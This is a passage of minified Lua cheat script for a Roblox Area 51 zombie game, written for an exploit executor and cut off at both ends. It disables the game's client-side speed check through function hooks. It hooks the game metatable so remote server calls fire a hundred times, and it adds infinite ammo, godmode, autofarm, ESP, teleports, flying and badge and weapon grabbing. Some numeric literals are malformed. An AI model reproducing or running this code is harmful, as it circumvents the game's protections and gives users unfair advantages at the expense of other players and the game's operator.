H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)z:NewButton("Unlock all Secrets","Unlocks all the secrets in the game",function()O()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.RadioactiveArea.GiantZombieRoom.GiantZombieEngine.Close.Door2,0)function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("Paper")or v.Name:match("Reward")then GetWepons(v)end end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("TheButton")then GetWepons(v)end end;firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.PlantRoom["Box of Shells"].Box,0)wait(0.2)local a1=k.Character.HumanoidRootPart.CFrame;k.Character.HumanoidRootPart.CFrame=CFrame.new(game:GetService("Workspace").AREA51.ExecutionRoom.Reward.Position)wait(0.2)game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer("M14")k.CFrame=CFrame.new(326.773315,511.5,392.70932,0.982705772,0,-0.185173988,0,1,0,0.185173988,0,0.982705772)end)z:NewButton("Get all Badges","Gives almost every badge.",function()O()firetouchinterest(a,game:GetService("Workspace").AREA51.SecretPath6.Reward)for a2,v in pairs(game:GetService("Workspace").AREA51.Badges:GetDescendants())do if v:IsA("TouchTransmitter")and v.Parent:IsA("Part")then firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,0)wait()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,1)end end end)z:NewButton("Get Gamepasses","Tries to give you gamepasses.",function()game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()game.Players.LocalPlayer.Character.Humanoid.Died:Connect(function()wait(8)game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()J()end)end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert Eagle","SVD","M16A2/M203","M14","G36C","AWP","Crossbow","MG42","FreezeGunas"},function(ag)m.Notify("PAP..",ag,"http://www.roblox.com/asset/?id=5502174644",{Duration=4,Main={Rounding=true}})game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(ag)end)local y=x:NewTab("Doors AREA51:")local z=y:NewSection("Open/Close Doors")z:NewToggle("Spam Open Doors","Spam Opens the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewToggle("Spam Close Doors","Spam Closes the Area-51 Doors",function(R)if R then _G.spamDoors=true;while wait(0.5)do if _G.spamDoors==true then for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end end else _G.spamDoors=false end end)z:NewButton("Open Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end)z:NewButton("Close Doors","Opens all the Doors in Area51",function()for K,v in pairs(game:GetService("Workspace").AREA51.Doors:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Close"then fireclickdetector(v)end end end)local y=x:NewTab("ESP:")local z=y:NewSection("ESP for Player/Killers")z:NewToggle("Player ESP","Enables Player-ESP for Players",function(R)if R then _G.on=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0.8 end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Humanoid")and v.Parent.Name=="Characters to kill"and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.on==false else _G.on=false;for K,v in pairs(game:GetService("Workspace")["Characters to kill"]:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)z:NewToggle("Killer ESP","Enables Killer-ESP for Killers",function(R)if R then _G.lol=true;repeat local function ah(player)local a5=Instance.new("BoxHandleAdornment",player)a5.AlwaysOnTop=true;a5.ZIndex=5;a5.Size=player.Size;a5.Adornee=player;a5.Transparency=0;a5.Color=BrickColor.new("Bright red")end;function Main(ai)for K,v in pairs(ai:GetChildren())do if v:IsA("BasePart")and not v:FindFirstChild("BoxHandleAdornment")then ah(v)end end end;for K,v in pairs(game.Workspace:GetDescendants())do pcall(function()if v:FindFirstChild("Zombie")and v.Name~=game.Players.LocalPlayer.Name then Main(v)end end)end;wait(7)until _G.lol==false else _G.lol=false;for K,v in pairs(game.Workspace.Killers:GetDescendants())do if v:IsA("BoxHandleAdornment")then v:Destroy()end end end end)local y=x:NewTab("Teleports:")local z=y:NewSection("Teleports")z:NewDropdown("Weapon Teleports","DropdownInf",{"M14","RILG","R870","CLT1","SBG","SVD"},function(ag)local hum=k.Character.HumanoidRootPart;local aj=hum.CFrame;if ag=="M14"then hum.CFrame=CFrame.new(game:GetService("Workspace").AREA51[ag])wait(.2)hum.CFrame=CFrame.new(aj)elseif ag=="RILG"then hum.CFrame=CFrame.new(232.505737,373.660004,45.4774323,-0.999948323,-2.07754458e-09,0.0101688765,-3.00104475e-09,1,-9.08010804e-08,-0.0101688765,-9.08269016e-08,-0.999948323)elseif ag=="R870"then hum.CFrame=CFrame.new(143.435638,333.659973,499.670258,0.068527095,6.73678642e-08,-0.997649252,2.92282767e-08,1,6.95342521e-08,0.997649252,-3.39245503e-08,0.068527095)elseif ag=="CLT1"then hum.CFrame=CFrame.new(60.6713562,291.579956,262.712402,-0.0193858538,1.378409e-07,0.999812067,1.73167649e-08,1,-1.37531046e-07,-0.999812067,1.46473536e-08,-0.0193858538)elseif ag=="SBG"then hum.CFrame=CFrame.new(3.0812099,267.780121,184.758041,-0.998869121,3.20666018e-08,-0.0475441888,3.84712493e-08,1,-1.33794302e-07,0.0475441888,-1.35472078e-07,-0.998869121)elseif ag=="SVD"then hum.CFrame=CFrame.new(181.740906,306.660126,179.980011,-0.977237761,-295549789e-08,0.212145314,-3.5164706e-08,1,-2.25858496e-08,-0.212145314,-2.95278366e-08,-0.977237761)elseif ag=="blRU"then hum.CFrame=CFrame.new(19.2511063,313.500336,204.38269,0.113481902,7.8155864e08,0.993540049,-2.13239897e-08,1,-7.62284031e-08,-0.993540049,-1.25357014e-08,0.113481902)end end)z:NewDropdown("Teleport to Room","DropdownInf",{"Cafe-Room","Cartons-Room","Code-Door","Computers-Room","Corridor-to-Meeting-Room","Electricity-Room","Emergency-Hole-Down-To-Area","Entrance-To-Area","Main-Room","Entrance"},function(ag)if ag=="Cafe-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CafeRoom.Tables.Table.Table.Model.Part.CFrame elseif ag=="Cartons-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(149.739914,313.500458,194.231888,0.442422092,6.81004985e-06,-0.896806836,1.24363009e-06,1,8.20718469e-06,0.896806836,-4.74633543e-06,0.442422092)elseif ag=="Code-Door"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CodeDoorRoom.CodeDoor.Door.CFrame elseif ag=="Computers-Room"then k.Character.HumanoidRootPart.CFrame=CFrame.new(219.700012,310,370.399994,-1,0,0,0,1,0,0,0,-1)elseif ag=="Corridor-to-Meeting-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.CorridorToMeetingRoom.Part.CFrame elseif ag=="Electricity-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.ElectricityRoom.Generator1.Base.CFrame elseif ag=="Emergency-Hole-Down-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EmercencyHoleDownToArea.Part.CFrame elseif ag=="Entrance-To-Area"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.EntranceOfArea.Part.CFrame elseif ag=="Main-Room"then k.Character.HumanoidRootPart.CFrame=game:GetService("Workspace").AREA51.MainRoom.Part.CFrame elseif ag=="Entrance"then hum.CFrame=CFrame.new(327.317322,511.5,397.900269,1,-2.05416537e-08,-2.7642145e-15,2.05416537e-08,1,1.25194637e-08,2.50704388e-15,-1.25194637e-08,1)end end)local y=x:NewTab("Settings:")local z=y:NewSection("Keybind to ToggleUI")z:NewKeybind("Keybind to ToggleUI","Toggles Epic-Minigames UI",Enum.KeyCode.F,function()n:ToggleUI()end)local y=x:NewTab("Modes:")local z=y:NewSection("Teleports")z:NewButton("Rejoin","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(game.PlaceId,k)end)z:NewButton("ServerHop","Click on this button to serverhop to another game.",function()local M={}for a2,v in ipairs(game:GetService("HttpService"):JSONDecode(game:HttpGetAsync("https://games.roblox.com/v1/games/"..game.PlaceId.."/servers/Public?sortOrder=Asc&limit=100")).data)do if type(v)=="table"and v.maxPlayers>v.playing and v.id~=game.JobId then M[#M+1]=v.id end end;if#M>0 then game:GetService("TeleportService"):TeleportToPlaceInstance(game.PlaceId,M[math.random(1,#M)])end end)z:NewButton("Normal Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092166489,k)end)z:NewButton("Killer Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(2092167559,k)end)z:NewButton("Juggernaut Mode","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4678052190,k)end)z:NewButton("Endless Survival","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(155382109,k)end)z:NewButton("Killhouse","Click on this button to rejoin the game.",function()game:GetService("TeleportService"):Teleport(4631179692,k)end)elseif game.PlaceId==3182083477 then local o="BloodTheme"local x=n.CreateLib("Extreme Mode UI",o)function CountTable(q)local r,s=0;repeat s=next(q,s)if s~=nil then r=r+1 end until s==nil;return r end;for t,u in pairs(getgc())do if type(u)=="function"and rawget(getfenv(u),"script")==game.Players.LocalPlayer.PlayerScripts.Stuffs then local w=debug.getconstants(u)if CountTable(w)==5 then if table.find(w,"WalkSpeed")and table.find(w,"GetPropertyChangedSignal")and table.find(w,"Connect")then hookfunction(u,function()end)end end end end;hookfunction(getconnections(game.Players.LocalPlayer.Character.Humanoid:GetPropertyChangedSignal("WalkSpeed"))[1].Function,function()end)local y=x:NewTab("Autofarm:")local z=y:NewSection("Enable/Disable Autofarm")local function A()local B=workspace.CurrentCamera;local C=k.Character;local D=k;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end end;local function J()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.StarterGear end end;for K,v in pairs(game:GetService("Players").LocalPlayer.StarterGear:GetChildren())do if v:IsA("Tool")then v.Parent=game.Players.LocalPlayer.Backpack end end end;local function L()for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end;local function N()for K,v in pairs(game:GetService("Workspace").AREA51.SewerCaptainRoom["Captain Zombie Feeder"].Cage:GetDescendants())do if v:IsA("ClickDetector")and v.Parent.Name=="Open"then fireclickdetector(v)end end end;local function O()local P=k.Character.HumanoidRootPart;function GetWepons(Q)firetouchinterest(P,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end;z:NewToggle("//Autofarm \\","Enables Autofarm for SAKTK",function(R)if R then m.Notify("Enabled Autofarm","Press F to Enable the SAKTK UI to disable autofarm.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})L()N()O()k.CameraMode=Enum.CameraMode.LockFirstPerson;for K,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k.Character end end;game:GetService("StarterGui").TailsPopup.Enabled=false;game:GetService("Players").LocalPlayer.PlayerGui.TailsPopup.Enabled=false;game:GetService("Workspace").Killers:FindFirstChild("Giant"):Destroy()for K,v in pairs(game.Workspace.Killers:GetChildren())do if v:IsA("Model")then repeat wait()mouse1press()l.CoordinateFrame=CFrame.new(l.CoordinateFrame.p,v.Head.CFrame.p)k.Character.HumanoidRootPart.CFrame=v.Head.CFrame+v.Head.CFrame.lookVector*-5 until v.Zombie.Health==0;wait()end end else workspace.CurrentCamera.CameraSubject=k.Character:FindFirstChildWhichIsA('Humanoid')workspace.CurrentCamera.CameraType="Custom"k.CameraMinZoomDistance=0.5;k.CameraMaxZoomDistance=400;k.CameraMode="Classic"k.Character.Head.Anchored=false end end)z:NewToggle("Fullbright","Makes the game bright",function(R)m.Notify("Fullbright","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then game:GetService("Lighting").Brightness=2;game:GetService("Lighting").ClockTime=14;game:GetService("Lighting").FogEnd=100000;game:GetService("Lighting").GlobalShadows=false;game:GetService("Lighting").OutdoorAmbient=Color3.fromRGB(128,128,128)else m.Notify("Fullbright","Disabled","http://www.roblox.com/asset/?id=261113606",{Duration=4,Main={Rounding=true}})origsettings={abt=game:GetService("Lighting").Ambient,oabt=game:GetService("Lighting").OutdoorAmbient,brt=game:GetService("Lighting").Brightness,time=game:GetService("Lighting").ClockTime,fe=game:GetService("Lighting").FogEnd,fs=game:GetService("Lighting").FogStart,gs=game:GetService("Lighting").GlobalShadows}game:GetService("Lighting").Ambient=origsettings.abt;game:GetService("Lighting").OutdoorAmbient=origsettings.oabt;game:GetService("Lighting").Brightness=origsettings.brt;game:GetService("Lighting").ClockTime=origsettings;game:GetService("Lighting").FogEnd=200;game:GetService("Lighting").FogStart=20;game:GetService("Lighting").FogColor=191,191,191;game:GetService("Lighting").GlobalShadows=origsettings.gs end end)local y=x:NewTab("LocalPlayer")local z=y:NewSection("Humanoid")z:NewToggle("Fly","Allows you to Fly through the game.",function(R)if R then m.Notify("Enabled Fly","Press LeftALT to Enable/Disable Fly.","http://www.roblox.com/asset/?id=5082257850",{Duration=15,Main={Rounding=true}})_G.Enabled=true;local l=game.Workspace.CurrentCamera;local k=game:GetService("Players").LocalPlayer;local S=game:GetService("UserInputService")local T=false;local U=false;local V=false;local W=false;local X=false;local Y=false;local function Z()for K,v in pairs(k.Character:GetChildren())do pcall(function()v.Anchored=not v.Anchored end)end end;S.InputBegan:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.LeftAlt then Enabled=not Enabled;Z()end;if s.KeyCode==Enum.KeyCode.W then T=true end;if s.KeyCode==Enum.KeyCode.S then U=true end;if s.KeyCode==Enum.KeyCode.A then V=true end;if s.KeyCode==Enum.KeyCode.D then W=true end;if s.KeyCode==Enum.KeyCode.Space then X=true end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=true end end)S.InputEnded:Connect(function(s,_)if _ then return end;if s.KeyCode==Enum.KeyCode.W then T=false end;if s.KeyCode==Enum.KeyCode.S then U=false end;if s.KeyCode==Enum.KeyCode.A then V=false end;if s.KeyCode==Enum.KeyCode.D then W=false end;if s.KeyCode==Enum.KeyCode.Space then X=false end;if s.KeyCode==Enum.KeyCode.LeftControl then Y=false end end)while game:GetService("RunService").RenderStepped:Wait()do if Enabled then pcall(function()if T then k.Character:TranslateBy(l.CFrame.lookVector*2)end;if U then k.Character:TranslateBy(-l.CFrame.lookVector*2)end;if V then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if W then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(1,0,0))*2)end;if X then k.Character:TranslateBy(l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end;if Y then k.Character:TranslateBy(-l.CFrame:vectorToWorldSpace(Vector3.new(0,1,0))*2)end end)end end else print("ok")end end)z:NewSlider("WalkSpeed","Move the slider to set WalkSpeed for Humanoid",500,0,function(a0)k.Character.Humanoid.WalkSpeed=a0 end)z:NewSlider("JumpPower","Move the slider to set JumpPower for Humanoid",500,0,function(a0)k.Character.Humanoid.JumpPower=a0 end)z:NewSlider("Gravity","Move the slider to set Garavity inside of the workspace.",50,0,function(a0)workspace.Gravity=a0 end)z:NewToggle("GodMode","Gives you Godmode",function(R)m.Notify("Godmode","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then local B=workspace.CurrentCamera;local C=game.Players.LocalPlayer.Character;local D=game.Players.LocalPlayer;local E,C=B.CFrame,D.Character;local F=C and C.FindFirstChildWhichIsA(C,"Humanoid")local H=F.Clone(F)H.Parent,D.Character=C,nil;H.SetStateEnabled(H,15,false)H.SetStateEnabled(H,1,false)H.SetStateEnabled(H,0,false)H.BreakJointsOnDeath,F=true,F.Destroy(F)D.Character,B.CameraSubject,B.CFrame=C,H,wait()and E;H.DisplayDistanceType=Enum.HumanoidDisplayDistanceType.None;local I=C.FindFirstChild(C,"Animate")if I then I.Disabled=true;wait()I.Disabled=false end;H.Health=H.MaxHealth else game:GetService("TeleportService"):Teleport(game.PlaceId,game.Players.LocalPlayer)end end)z:NewButton("Unlock all Secrets","Unlocks all the secrets in the game",function()O()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.RadioactiveArea.GiantZombieRoom.GiantZombieEngine.Close.Door2,0)function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("Paper")or v.Name:match("Reward")then GetWepons(v)end end;for K,v in pairs(game:GetService("Workspace"):GetDescendants())do if v:IsA("Part")and v.Name:match("TheButton")then GetWepons(v)end end;firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,game:GetService("Workspace").AREA51.PlantRoom["Box of Shells"].Box,0)wait(0.2)local a1=k.Character.HumanoidRootPart.CFrame;k.Character.HumanoidRootPart.CFrame=CFrame.new(game:GetService("Workspace").AREA51.ExecutionRoom.Reward.Position)wait(0.2)game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer("M14")k.CFrame=CFrame.new(326.773315,511.5,392.70932,0.982705772,0,-0.185173988,0,1,0,0.185173988,0,0.982705772)end)z:NewButton("Get all Badges","Gives almost every badge.",function()O()firetouchinterest(a,game:GetService("Workspace").AREA51.SecretPath6.Reward)for a2,v in pairs(game:GetService("Workspace").AREA51.Badges:GetDescendants())do if v:IsA("TouchTransmitter")and v.Parent:IsA("Part")then firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,0)wait()firetouchinterest(game.Players.LocalPlayer.Character.HumanoidRootPart,v.Parent,1)end end end)z:NewButton("Get Gamepasses","Tries to give you gamepasses.",function()game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()game.Players.LocalPlayer.Character.Humanoid.Died:Connect(function()wait(8)game.Players.LocalPlayer.Character.Humanoid.WalkSpeed=25;O()J()end)end)local y=x:NewTab("Gun Cheats:")local z=y:NewSection("Rainbow Weapons")z:NewButton("Get all Weapons","Gives you every weapon in-game",function()function GetWepons(Q)firetouchinterest(k.Character.HumanoidRootPart,Q,0)end;for K,v in pairs(game.Workspace:GetDescendants())do if v.Name:match("WEAPON")and v:IsA("Part")then GetWepons(v)end end end)z:NewButton("Infinite-Ammo","Gives you Infinite Ammo for your weaponary",function()local a3=math.sin(workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(workspace.DistributedGameTime)/2+0.5;local a5=math.sin(workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for a2,a7 in pairs(getreg())do if typeof(a7)=="table"then if a7.shoot_wait then a7.shoot_wait=0;a7.is_auto=true;a7.MaxHealth=0;a7.Health=0;a7.is_burst=false;a7.burst_count=15;a7.bullet_color=BrickColor.new("Toothpaste")a7.inaccuracy=0;a7.is_pap="PAP"a7.vibration_changed=0;a7.touch_mode=false;a7.reloading=false;a7.equip_time=0;a7.holding=true;a7.ready=true;a7.stolen=false;a7.clear_magazine=false;a7.cancel_reload=false;a7.is_grenade=true;a7.is_pap=true;for K,v in pairs(getgc())do if type(v)=="function"and islclosure(v)and not is_synapse_function(v)then local M=debug.getconstants(v)if table.find(M,"ammo")and table.find(M,"update_ammo_gui")and table.find(M,"has_scope")then debug.setconstant(v,2,-999999)end end end end end end end)z:NewButton("One shot Killers","Gives you more Damage on Killers",function()local a8={repeatamount=100,inclusions={"Missile Touch","Fired"}}local a9=getrawmetatable(game)local aa=a9.__namecall;setreadonly(a9,false)local function ab(ac)for K,a7 in next,a8.inclusions do if ac.Name==a7 then return true end end;return false end;a9.__namecall=function(ac,...)local ad={...}local ae=getnamecallmethod()if ae=="FireServer"or ae=="InvokeServer"and ab(ac)then for K=1,a8.repeatamount do aa(ac,...)end end;return aa(ac,...)end;setreadonly(a9,true)end)z:NewToggle("Rainbow Weapons","Allows you to have Rainbow Weapons.",function(R)if R then m.Notify("Rainbow Guns ","Activated","http://www.roblox.com/asset/?id=5124031298",{Duration=4,Main={Rounding=true}})_G.rainbowdoo=true;while wait(0.1)do if _G.rainbowdoo==true then local a3=math.sin(game.workspace.DistributedGameTime/2)/2+0.5;local a4=math.sin(game.workspace.DistributedGameTime)/2+0.5;local a5=math.sin(game.workspace.DistributedGameTime*1.5)/2+0.5;local a6=Color3.new(a3,a4,a5)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Backpack:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end;for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Part')and v.Parent:IsA('Tool')then v.BrickColor=BrickColor.new(a6)end end end end else _G.rainbowdoo=false;wait(4)for K,v in pairs(k.Character:GetDescendants())do if v:IsA('Tool')then v.Handle.BrickColor=BrickColor.new("Really black")end end end end)z:NewToggle("Equip all Tools","Equips all the tools in your backpack.",function(R)if R then local function O()for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=game:GetService("Players").LocalPlayer.Character end end end;O()else for K,v in pairs(k.Character:GetChildren())do if v:IsA('Tool')then v.Parent=k.Backpack end end end end)z:NewToggle("Save Tools","Saves your tools ",function(R)if R then for a2,v in pairs(k.Backpack:GetChildren())do if v:IsA("Tool")then v.Parent=k end end else for a2,v in pairs(k:GetChildren())do if v:IsA("Tool")then v.Parent=k.Backpack end end end end)z:NewButton("Drop Tools","Drops your tools",function()for a2,v in pairs(k.Backpack:GetChildren())do k.Character.Humanoid:EquipTool(v)v.Parent=nil end end)local y=x:NewTab("PAP Weapons:")local z=y:NewSection("Select Weapon to Pack a Punch")local a9=getrawmetatable(game)local aa=a9.__index;setreadonly(a9,false)a9.__index=newcclosure(function(self,af)if tostring(self)=='Busy'and af=='Value'then return false end;return aa(self,af)end)setreadonly(a9,true)z:NewToggle("PAP All Weapons","PAP all your weapons in your inventory.",function(R)m.Notify("PAP All","Enabled","http://www.roblox.com/asset/?id=5082257850",{Duration=4,Main={Rounding=true}})if R then _G.papAll=true;while wait(5)do if _G.papAll==true then for K,v in pairs(game.Players.LocalPlayer.Backpack:GetChildren())do game:GetService("ReplicatedStorage")["Remote Functions"]["PAP Weapon"]:InvokeServer(v.Name)end end end else _G.papAll=false end end)z:NewDropdown("PAP Weapon","DropdownInf",{"M1911","RayGun","MP5k","R870","M4A1","AK-47","M1014","Desert 